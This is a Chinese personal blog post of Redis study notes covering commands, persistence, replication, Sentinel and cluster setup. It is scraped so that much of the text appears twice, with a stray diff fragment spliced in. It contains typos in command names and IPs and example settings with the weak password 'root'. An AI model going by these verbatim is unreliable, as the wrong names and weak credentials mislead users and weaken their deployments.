1\n清除慢查询的全部记录\nSOLWLOG RESET\npipeline流水线机制\nredis的命令执行由发送命令，再到命令进行排队（无法确定下个执行的命令是哪个），命令执行，最后返回结果\n这个命令的过程又叫Round trip time，RTT，往返时间\npipeline流水线机制就是减少RTT的\npipeline就是将命令一次性通过网络获取多条命令，然后再执行多条命令（打包组装）\n注意：原生批命令(mset, mget)是原子性，而pipeline是非原子性，而且应该也必须限制pipeline的执行命令的个数\n发布订阅\n发布1到hallo频道中去 PUBLISH hallo 1\n订阅hallo频道 SUBSCRIBE hallo\n取消订阅hallo频道 UNSUBSCRIBE hallo\n订阅全部以h开头的频道（定义模式） PSUBSCRIBE h*\n取消订阅全部以h开头的定义 PUNSUBSCRIBE h*\n查看至少有一个订阅的频道并且要以h开头（也就是活跃的频道） PUBSUB CHANNELS h\n输出指定频道的订阅数 PUBSUB NUMSUB hallo\n输出当前订阅模式的数量 PUBSUB NUMPAT\nBitmap位图（位图就是位的映射，使用一个bit位来表示某个元素的值）\n位图的每个值只占用一个bit位，位图本质上还是字符串类型\n1个字节由8个二进制位表示，例如字符串a的二进制为01100001\n创建hallo位图 SET hallo a\n查询b字符的八位二进制码（得到01100010） BIN(ORD(‘b’))\n将a值改为b，只需要将最后一位改为0，倒数第二位改为1，例如：\n给hallo位图的最后一位设置0值 SETBIT hallo 7 0\n给hallo位图的倒数第二位设置1值 SETBIT hallo 6 1\n通过执行GET hallo命令，可以看到已经变成了b\n获取hallo位图中第一位的值 GETBIT hallo 0\n获取hallo位图中第一位到第八位之间值为1的个数（如果不指定就是获取整个位图中值为1的个数） BITCOUNT hallo 1 8\n将abc位图和xyz位图交集，并且将得到的新集存储在hallo位图中（and交集，or并集，not非集，xor异或集） BITOP AND hallo abc xyz\n获取hallo位图中中第一位到第八位之间第一个值为1位置（偏移量） BITPOS hallo 1 1 8\nhyperloglog\nhyperloglog（使用极小的空间来完成计数，本质还是字符串，特点就是输入的数量很多或者值有多大，占据的空间都是固定的（一个HyperLogLog键只使用12KB内存））\n向hyperloglog添加值 PFADD hallo a b c\n查看hyperloglog中存在多少个值（注意：返回的是基数，就是hyperloglog中存在相同的值时，会被忽略） PFCOUNT hallo\n合并2个（也可多个）hyperloglog到hallo PFMERGE hallo abc xyz\nhyperloglog的缺点就是错误率高（官方提供的错误率值是0.81%），无法获取单个数据\ngeo\nGEO（地理信息定位），用于存储经纬度，计算两地距离，范围计算等等\n添加经纬度到hallo（guangzho是标识） GEOADD hallo 113.27 23.13 guangzho GEOADD hallo 114.07 22.62 shenzheng\n从GEO获取经纬度 GEOPOS hallo guangzho\n获取两个经纬度之间的距离（m米，km千米，mi英里，ft尺） GEODIST hallo shenzheng guangzho\n获取guangzho附近1000千米的标识信息 GEORADIUS hallo guangzho 1000km\n持久化（redis数据存储于内存中，持久化功能可将数据的更新异步存储在硬盘中）\nRDB（快照），AOF（日志）\n持久化的RDB和AOF\nRDB（redis database）：Redis默认持久化策略，通过内存快照来实现持久化\nRDB有3种模式，一个是通过sava命令来同步触发redis进行RDB文件（RDB文件是二进制文件）生成，另一种就是通过bgsave命令来异步进行持久化文件RDB生成（该命令会让redis server fork一个子进程来进行该操作，这样主进程可以继续处理请求，不会阻塞），最后一个就是通过redis.conf配置文件来配置RDB自动生成，例如save 900 1，这个命令表示900秒内执行了一次set命令就生成一次RDB持久化文件（自动触发）\n注意：如果之前存在RDB文件，执行sava命令，会生成一个新的RDB文件去覆盖这个老的RDB文件\n触发第一种模式很简单，就执行sava命令（时间复杂度为O(n)），redis接收该命令，就会立刻去创建生成RDB文件\n触发第二种模式，也很简单，也是就执行bgsave命令（时间复杂度为O(n)），不过redis接收该命令后会利用Linux的fork()函数来生成一个子进程，让这个子进程来处理生成RDB文件\nsave和bgsave的区别就是，save会阻塞命令的执行，bgsave需要另一个进程来处理（消耗内存）\n第三种模式通过配置文件来自动触发，当满足条件时，创建RDB文件是通过bgsave命令完成的\n配置文件参数还有dbfilename（来表示rdb文件名，必须是.rdb后缀），以及上面提到的dir（来表示rdb持久化文件放到哪个文件夹中），stop-writes-on-bgsave-error（如果bgsave命令发生错误是否停止写入，yes或者no），rdbcompression（rdb文件是否使用压缩模式），rdbchecksum（是否对rdb文件进行检验操作）\n恢复数据也很简单，将ADB文件放到redis安装目录下，然后重启（redis会在启动的时候根据RDB文件来恢复数据），可执行CONFIG GET dir来得到redis安装目录地址\nRDB的缺点就是耗时（生成RDB文件慢，因为需要复制全部数据，时间复杂度是O(n)），内存消耗大（fork进程），硬盘资源消耗大（当数据很庞大时），而且不可控制（无法指定什么时间备份），存在丢失数据的风险（当自动备份没有触发，而且也没有手动触发时宕机，就会导致数据丢失了）\nAOF（每执行一次写命令（例如：SET，HMSET，SADD），就会将该命令存储在AOF文件中，类似于MySQL的sql备份）\n通过redis.conf配置文件来配置AOF，appendonly（是否启动AOF持久化模式），appendfilename（AOF持久化文件名称，必须是.aof后缀），appendfsync（AOF的三种持久化策略：always（每次执行写命令时间都会将该命令同步到AOF可持久化文件中），everysec（每秒将缓存区中的命令同步到AOF可持久化文件中），no（不需要将缓存区的命令同步到AOF可持久化文件中，让操作系统来决定什么时候同步，Linux系统默认30秒将缓存区数据写入）），no-appendfsync-on-rewrite（表示是否在同步期间对新写命令不进行同步，先将其存储在缓存区，等同步完成在写入，如果no的话，会阻塞appendfsync，如果设置yes可能存在会丢失数据的风险（新写命令没有持久化，Linux默认每隔30秒执行一次缓存区同步到硬盘的操作）），auto-aof-rewrite-percentage（因为AOF是使用追加的方式的，因此AOF可持久化文件会越来越大，因此存在AOF重写机制（简化AOF文件里面命令，例如去除过期命令，将多条命令合并成1条命令等等，得到新的AOF后，将老的删除，写入新的），当满足某个阀值时，会启动AOF重写，该参数是表示当前AOF文件大小是上次的大小的多少倍触发（单位为百分比，100就是指一倍），auto-aof-rewrite-min-size（当AOF大于该阀值时触发，例如64mb），aof-load-truncated（因为AOF文件可能是不完整的（宕机或者异常导致的不完整），表示是否在恢复数据时自动进行AOF修复操作，no表示不，需要手动redis-check-aof修复，yes表示是的），dir参数和RDB介绍一样的作用（AOF文件存储在哪个目录）\n手动修复命令redis-check-aof –fix\n手动AOF重写命令bgrewriteaof（执行到该命令会让redis服务器fork一个子进程来进行AOF重写操作，不会阻塞命令执行，而且只有当完成之后创建一个新的AOF文件来覆盖老的AOF文件（不存在bgrewriteaof命令执行失败后，导致数据丢失的情况，必须时执行成功后再覆盖））\n注意：auto-aof-rewrite-percentage和auto-aof-rewrite-min-size，必须都满足这2个设置的阀值才会重写（避免AOF文件很小也导致触发）\n注意：每次执行写命令时间并不会立刻同步到AOF可持久化文件中去，而是先写入缓存区，再根据策略来同步到AOF可持久化文件，每个策略都有自己的缺点和优点，always不怕丢数据，但是IO消耗大，everysec对硬盘友好，但是存在丢失那1秒数据的风险，no不可控制什么时候同步，但是性能高\nAOF恢复数据和RDB一样，将AOF文件放到Redis安装目录下\n优化fork\nfork()操作是同步的，内存越大耗时越慢，可通过latest_fork_usec命令查看最近一次fork操作的耗时（单位微秒）来进行排查，例如：redis-cli info latest_fork_usec\nmaxmemory配置Redis实例最大可用内存，例如：CONFIG SET maxmemory 100MB或者修改redis.conf的maxmemory参数\n通过配置Linux内存分配策略，例如：vm.overcommit_memory = 1（1表示内核允许超量使用内存，直到用完，0表示内核会检查是否还有足够的内存，如果有则对内存申请通过，否则失败，2表示内核不会超量使用内存，整个内存空间不会超过swap+50%的RAM，课外小知识：Linux内核会批准大部分的申请内存的请求，但是分配到了内存后，不能使用内存，只有当内存赋值时才分配内存，这个技术叫overcommit，如果策略允许超量使用时，也就是允许overcommit，当内存分配不足时，会导致OOM killer，通过杀死用户态进程来释放内存）\n通过提高AOF或者RDB自动触发生成的阀值来降低fork的频率，非不必要时不进行自动触发\n优化子进程\nCopy on write机制：fork会创建一个除了pid不同外和父进程完全相同的子进程，但是这些数据是对子进程无用的（因为子进程使用exec()来实现自己的功能时，会清空这些数据），Copy On Write可以让子进程和父进程共享内存空间（直接引用父进程的内存空间，这样子进程更轻量化了，实质上在没有exec()之前，子进程和父进程使用的是同一块物理内存，只是虚拟内存不同，当exec之后，才会给子进程分配一个独立的物理内存）\n该机制的优点就是减少不必要的内存分配，缺点是当fork之后父进程或者子进程进行写操作，会导致页异常中断（page-fault），因为这个时候子进程和父进程都还是同一块物理内存，最后因为复制数据导致资源浪费\nAOF追加阻塞（everysec策略，每1秒进行一次同步操作）\n因为主线程会对比AOF的同步时间，如果上一次同步时间在2秒，则正常，超过2秒后，主线程将会导致阻塞，一直到同步操作完成，因此everysec策略最多可以丢2秒的数据\n主从复制（提供数据副本（数据灾备），扩展读性能（读写分离））\n从节点复制主节点的数据（一从一主或者一主多从）\n主从复制配置（有2种）\nslaveof命令（在从节点中运行该命令，例如slaveof 192.168.1.2 6379，就能复制主节点192.168.1.2:6379的数据了，而且主节点的数据更新都能同步到从节点中）\n将该节点取消从节点 slaveof no one\n配置（redis.conf）\n配置主节点 slaveof 192.168.1.2 6379\n如果需要设置从连接主的密码，需要设置masterauth参数，例如masterauth “123456\"或者执行命令config set masterauth “123456”\n如果需要设置密码，可以设置requirepass参数，例如requirepass “123456\"或者执行命令config set requirepass “123456”\n如果想设置从节点只读，可以设置slave-read-only yes，如果设置no，写入的数据也会在主从同步完成后被删除\n全量复制和部分复制\n全量复制就是将主节点的全部数据一次性发送给从节点复制\n部分复制就是主从复制过程导致数据丢失了，从节点在连接到主节点后，主节点可以将丢失的数据发送给从节点，从而避免全量复制的过高的资源消耗\nrunid（redis服务器的标识符（用于区分redis服务器），一重启redis服务器后runid都会发生改变）\n可通过info server | grep run命令来查看\n复制偏移量就是命令的字节长度，可以用于判断主从节点数据是否一致，可使用info replication命令查看\n主节点会记录自身的复制偏移量（master_repl_offset，可通过info replication查看），从节点也会每秒将自身的复制偏移量发送给主节点（slave的offset），这样主节点就可以记录从节点的复制偏移量\nSentinel架构（不可存储数据，对redis节点的故障判断，故障master转移处理以及通知客户端该节点状态）\n故障转移：当多个sentinel发现master存在故障，会通过选举算法选举出一个sentinel，然后该sentinel会选择一个slave从节点来当master主节点，最后通知其他slave从节点成为该新的master的从节点并且通知客户端主从节点的变化（如果出现故障的master恢复后会成为新的master的从节点）\n安装Sentinel和配置\n开启主从节点，然后开启Sentinel监控主节点\nSentinel配置文件（sentinel.conf，redis配置文件的参数可用于Sentinel配置文件（例如port，dir都是可以的，Sentinel就是特殊的redis））\nsentinel monitor hallomaster 127.0.0.1 6379 2 sentinel down-after-milliseconds hallomaster 30000 sentinel parallel-syncs hallomaster 1 sentinel failover-timeout hallomaster 180000 第一行是该Sentinel监控的master节点的信息，hallomaster是master节点名称，master节点IP，master节点的端口，以及当多少个Sentinel认定该master节点存在故障时进行故障转移\n第二行Sentinel监控master节点故障多少毫秒后认定故障\n第三行表示发送故障转移时最多能有几个从节点对新的master进行同步（越少，新的master压力越小）\n第四行表示故障转移时最多允许多少毫秒，当超过时，认定故障转移失败\n启动Sentinel监控节点\nredis-sentinel redis-sentinel.conf 注意：因为选举算法的原因，Sentinel监控节点最少要有3个，如果只有2个Sentinel监控节点，发生故障，因为投票机制问题（要选一个Sentinel监控节点来当Sentinel监控主节点，让这个Sentinel监控节点来确定哪个从节点来当主节点），只有当Sentinel监控集群超过一步的节点检测失效才会生效，而且Sentinel监控节点也发生故障了，导致故障转移无法生效，而且Sentinel监控节点数最后是奇数，避免投票偶数出现相同票数的情况\nSentinel监控节点定时任务\nSentinel监控节点每10秒对master和slave执行info（用来发现slave以及主从关系的确认），每2秒对master节点的channel进行交换信息（订阅发布，频道名为__sentinel__:hello），每1秒对其他Sentinel以及redis主从节点执行ping\n客观下线和主观下线，以及领导者选举\n客观下线\nsentinel monitor hallomaster 127.0.0.1 6379 2\n主观下线\nsentinel down-after-milliseconds hallomaster 30000\n当主观下线条件满足后，会执行sentinel is-master-down-by-addr命令来询问其他Sentinel监控节点是否确定master已经下线了\nsentinel is-master-down-by-addr 127.0.0.1 6379 0 *\n每个做主观下线的Sentinel监控节点向其他Sentinel监控节点发送该命令，并且要求设置该为领导者\n如果接收该命令的Sentinel监控节点没有同意过其他Sentinel监控节点的请求，那么将同意，否则拒绝（在周期内）\n如果Sentinel监控节点发现自己的票超过了Sentinel集合的半数，并且也是超过了客观下线的条件时，该监控节点成为领导者\n如果有多个Sentinel监控节点成为领导者，将会在一段时间后重新选举\n领导者节点会从slave节点中选择一个来当master节点，对该slave节点执行slaveof no one命令来让它成为新的master节点，然后对其他slave节点发送命令，来让其成为新的master节点的slave节点\n然后对故障的master节点配置为slave节点，并且进行监控，当其恢复则发送命令让其去复制新的master节点\n领导者节点选择slave节点当master节点的机制\n选择slave-priority（slave节点优先级）最高的slave节点，存在返回，不存在继续选择\n选择复制偏移量最大的slave节点（复制master节点最完成的），存在返回，不存在继续选择\n选择runID最小的slave节点（也就是最早的slave节点）\n手动故障转移master节点（当需要对master节点进行下线之前的操作）\nsentinel failover hallomaster\nredis cluster\nCluster（集群，解决QPS（或者OPS）无法满足业务需求，硬件无法满足业务需求）\n数据分区（常用的有顺序分区，哈希分区）\n顺序分区：按照顺序（id或者时间等等顺序）进行划分Redis实例，缺点是数据分布不均匀\n哈希分区：具有随机性，数据分布均匀，缺点是无法进行顺序访问\n哈希分区有节点取余分区，一致性哈希分区，虚拟槽分区\n节点取余分区，一致性哈希分区都是客户端分片，在客户端进行计算\n节点取余分区：hash(key)%nodes，优点：简单，缺点：增加或者减少节点需要重新计算来重新映射（推荐采用翻倍扩容来降低影响），重新计算将导致重新计算数据偏移量，节点数越多，花费的时间越长\n一致性哈希分区：hash(key)%2^32，将哈希构造成一个0~2^32的token环形结构，节点的范围在该环形结构内，因为该数值足够大，增加或者减少节点不会导致重新计算哈希的问题\n数据哈希化后，会根据顺时针方向来寻找自己的node节点（简单来说就是将全部数据构造成一个环形，分区就跟切蛋糕一样，该蛋糕是该node节点的，那个蛋糕是那个node节点的）\n增加或者减少节点，将导致数据范围减少或者增加，但是不会像节点取余分区一样，需要重新计算，重新分配数据，数据的偏移量和节点数有关，节点数越多，数据的偏移量越少（10个节点，数据的偏移量只有10%，100个节点，数据的偏移量只有1%），只会影响邻近节点（也可使用翻倍伸缩）\n虚拟槽分区（客户端计算hash，在服务端进行管理节点，槽以及数据）：Redis内置了16384个槽，每个槽都可映射成单个节点（当然节点不可能用这么多，一般都是节点使用多个槽，将16384个槽平均分配给每个节点，CRC16(key)\u002616383，每个节点都知道自己负责哪个槽，其他节点负责哪个槽（共享节点信息））\n搭建集群\n集群的部署有原生命令部署和官方工具（redis-trib.rb）部署这2种\n原生命令安装\n配置redis文件（redis-192.168.1.2.conf）\ncluster-enabled yes cluster-config-file nodes-192.168.1.2.conf cluster-node-timeout 15000 cluster-require-full-coverage no cluster-enabled yes表示该redis节点是集群的节点，cluster-config-file为集群运行时，记录该节点的配置以及其他节点的信息状态等等，cluster-node-timeout表示集群中节点失联的最大时间（单位为毫秒），当超过该时间会认定其故障，cluster-require-full-coverage表示是否需要集群的全部节点服务（也就是说为yes时如果只有一个节点故障了，那么这个集群就不可用了）\n开启redis\nredis-server redis-192.168.1.2.conf 添加集群节点（只需要在一个节点上配置，因为节点之间存在通信交互，当a节点和b节点连接后，a又和c节点连接，b节点知道c节点的存在后彼此感知着对方）\ncluster meet 192.168.1.2 6379 分配槽（必须将0到16383的16384个槽全部分配完才能处于上线工作状态，这里设置了3个集群主服务）\n192.168.1.2 cluster addslots {0…5461}\n192.168.1.3 cluster addslots {5462…10922}\n192.168.1.4 cluster addslots {10923…16383}\n设置主从关系（故障转移，集群复制，这里是3个主节点和3个从节点来保证高可用）\n192.168.1.5 cluster replicate 主节点的node-id\n192.168.1.6 cluster replicate 主节点的node-id\n192.168.1.7 cluster replicate 主节点的node-id\nnode-id通过cluster nodes命令获取\n查看集群节点的状态\ncluster info 查看集群节点的槽分配情况\ncluster slots 测试集群上线情况（-c是以集群模式连接）\nredis-cli -c -p 6379 set hallo word 返回ok则认为集群已上线\n集群伸缩\n通过分配槽的16384个槽来进行集群的伸缩\n伸：当需求得不到满足时，添加新节点进来 缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线\n原理就是数据和槽在节点的迁移\n扩容节点\n创建新的节点，这个节点还是孤立节点，需要加入到集群\ncluster meet 192.168.1.10 6385\n查看加入集群是否成功\ncluster nodes\n加入集群后因为没有分配槽，是不进行工作的\n迁移数据和槽\n计算，平均槽数量\n配置主从（新加入的节点设置为从节点）\ncluster replicate 主节点的id\n如果需要配置该节点为主节点，可以\ncluster meet 196.168.1.10 6385\n迁移数据非常麻烦，这里使用redis-trib.rb来完成\nredis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）\n安装redis-trib.rb\n安装ruby（redis-trib.rb依赖于ruby）\n使用编译源码的方式来安装ruby\nhttps://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz\n安装redis模块\ngem install redis\nredis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以\n分配槽数据\nredis-trib.rb reshard 192.168.1.2:6385\n它会问你进行迁移多少个槽，1到16384，根据需求进行分配\n然后问你槽迁移到哪个节点，提供节点ID\n最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成\n它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移\n收缩集群\n下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点\n忘记节点可通过cluster forget 节点ID来完成，这个命令可以让当前节点忘记目标id的节点\n注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效\n迁移槽数据\nredis-trib.rb reshard –from 需要下线的节点id –to 迁移数据到哪个节点的id –slots 迁移多少个槽 192.168.1.10:6385\n是否确认操作，yes或者no\n如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配\n下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）\nredis-trib.rb del-node 192.168.1.2:6385 需要下线的节点id\n下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在\n故障发现，故障恢复\n集群完整性\n带宽消耗\npubsub广播\n集群倾斜和数据倾斜，以及请求倾斜\n读写分离\n数据迁移\n集群和单机\n缓存更新策略\n缓存粒度，穿透，无底洞问题\n","wordCount":"950","inLanguage":"en","datePublished":"2021-09-10T21:10:00Z","dateModified":"2021-09-10T21:10:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/97/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Redis学习笔记</h1><div class=post-meta><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Redis%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储</p><p>Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点</p><p>可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）</p><p>因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s</p><p>Redis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）</p><p>Redis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）</p><p>Redis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用</p><p>Redis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis</p><hr><p>Redis安装</p><p>编译安装（linux）</p><p>下载redis-x.x.x.tar.gz</p><p>解压</p><p>tar xzf redis-x.x.x.tar.gz</p><p>进入解压出来的文件夹中，执行make&&amp;make install命令</p><p>因为用的是默认配置</p><p>进入src，./redis-server ../redis.conf</p><p>测试客户端</p><p>./redis-cli</p><p>src目录下可看到6个可执行文件，作用如下：</p><p>redis-server可执行文件用于启动redis服务器</p><p>redis-cli可执行文件用于redis命令行客户端，用于连接redis服务器</p><p>redis-benchmark可执行文件用于redis性能测试，基准测试</p><p>redis-check-aof可执行文件用于修复AOF可持久化文件</p><p>redis-check-dump可执行文件用于RDB可持久化文件的检查工作</p><p>redis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）</p><p>使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑</p><hr><p>redis有3种启动服务器方式</p><p>默认配置启动</p><p>redis-server</p><p>动态参数启动</p><p>redis-server &ndash;port 6380</p><p>配置文件启动（推荐，通过redis.conf文件来进行配置）</p><p>redis-server configPath</p><p>客户端连接服务（6379是redis默认端口）</p><p>redis-cli -h 127.0.0.1 -p 6379 -a &ldquo;root&rdquo;</p><hr><p>redis.conf配置</p><p>默认端口为6379</p><p>port 6379</p><p>要远程访问则设置为0.0.0.0</p><p>bind 127.0.0.1</p><p>logfile，redis日志名</p><p>dir，redis工作目录（日志文件和持久化文件存储在哪个文件）</p><p>以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid</p><p>daemonize yes</p><p>指定pid位置</p><p>pidfile /var/run/redis.pid</p><p>数据库文件</p><p>dbfilename xxx.rdb</p><p>当客户端被闲置了多久关闭链接，0为关闭该功能</p><p>timeout 0</p><p>存储到本地数据库的时候是否压缩数据，采用LZP压缩</p><p>rdbcompression yes</p><p>超时</p><p>timeout 300</p><p>密码</p><p>requirepass root</p><hr><p>redis的通用命令</p><p>遍历输出所有key</p><p>KEYS *</p><p>输出所有以r开头的key</p><p>KEYS r*</p><p>输出所有以ra或者rb，rc开头的key</p><p>KEYS n[a-c]</p><p>输出roo?，?号位占位</p><p>KEYS roo?</p><p>KEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)</p><p>输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）</p><p>DBSIZE</p><p>判断一个key是否存在（真返回1，假返回0）</p><p>EXISTS a</p><p>删除指定key（可删除多个）</p><p>DEL a b</p><p>设置a将在10秒后过期</p><p>EXPIRE a 10</p><p>查询a将在多少秒后过期</p><p>TTL a</p><p>移除a的移除时间</p><p>PERSIST a</p><p>查询a的类型</p><p>TYPE a</p><p>上面几条命令除了KEYS不是O(1)外，其他都是O(1)</p><p>清除全部数据（key）</p><p>FLUSHALL</p><hr><p>Redis的命令执行是单线程（例如网络请求，数据操作）</p><p>一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞</p><hr><p>字符串</p><p>注意：key不要使用单引号双引号来表示双引号，没有必要</p><p>name键存储字符串root</p><p>SET name root</p><p>name为键（key），root为name键的值（value）</p><p>当key不存在时添加value值（存在则不进行操作）</p><p>SET name 1 NX</p><p>当key存在时添加value值</p><p>SET name 1 XX</p><p>设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）</p><p>SETEX name 10 1</p><p>设置key的过期时间，单位为毫秒</p><p>SET name 1 PX 1000</p><p>获取name的值</p><p>GET name</p><p>删除name</p><p>DEL name</p><p>将a的值自增1</p><p>GET a 1
 INCR a</p><p>将a的值自减1</p><p>DECR a</p><p>将a的值自增指定值，这里就是a的值加99</p><p>INCRBY a 99</p><p>将a的值自减指定值</p><p>DECRBY a 99</p><p>批量获取多个key</p><p>MGET a b c</p><p>批量设置多个key-value</p><p>MSET a 1 b 2 c 3</p><p>设置新的value，并且返回 旧的value</p><p>GETSET a 1</p><p>将新的value追加到旧的value中去</p><p>APPEND a 2</p><p>输出字符串的长度（注意中文，一个中文占2个字节，时间复杂度也为O(1)）</p><p>STRLEN a</p><p>增加key的值，如果a的值为1的话，就是1+3.14</p><p>INCRBYFLOAT a 3.14</p><p>输出0到2下标的字符串</p><p>GETRANGE a 0 2</p><p>将第4个下标的字符串修改b（因为字符串下标从0开始）</p><p>SETRANG hallo 3 b</p><p>上面指令中除了MGET和MSET外（为O(n)），时间复杂度都为O(1)</p><hr><p>哈希是键值对的集合，是字段和值之间的映射（field（就是字段）不能相同，而value允许相同）</p><p>设置哈希表user（name为field，root为value）
 HSET user name root</p><p>获取哈希表user中指定name字段的值
 HGET user name</p><p>获取哈希表user中的全部字段和值
@@ -213,8 +213,8 @@
 </code></pre><p>测试集群上线情况（-c是以集群模式连接）</p><pre><code>redis-cli -c -p 6379
 set hallo word
 </code></pre><p>返回ok则认为集群已上线</p><hr><p>集群伸缩</p><p>通过分配槽的16384个槽来进行集群的伸缩</p><p>伸：当需求得不到满足时，添加新节点进来
-缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线</p><p>原理就是数据和槽在节点的迁移</p><p>扩容节点</p><p>创建新的节点，这个节点还是孤立节点，需要加入到集群</p><p>cluster meet 192.168.1.10 6385</p><p>查看加入集群是否成功</p><p>cluster nodes</p><p>加入集群后因为没有分配槽，是不进行工作的</p><p>迁移数据和槽</p><p>计算，平均槽数量</p><p>配置主从（新加入的节点设置为从节点）</p><p>cluster replicate 主节点的id</p><p>如果需要配置该节点为主节点，可以</p><p>cluster meet 196.168.1.10 6385</p><p>迁移数据非常麻烦，这里使用redis-trib.rb来完成</p><p>redis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）</p><p>安装redis-trib.rb</p><p>安装ruby（redis-trib.rb依赖于ruby）</p><p>使用编译源码的方式来安装ruby</p><p><a href=https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz>https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz</a></p><p>安装redis模块</p><p>gem install redis</p><p>redis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以</p><p>分配槽数据</p><p>redis-trib.rb reshard 192.168.1.2:6385</p><p>它会问你进行迁移多少个槽，1到16384，根据需求进行分配</p><p>然后问你槽迁移到哪个节点，提供节点ID</p><p>最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成</p><p>它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移</p><p>收缩集群</p><p>下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点</p><p>忘记节点可通过cluster forget 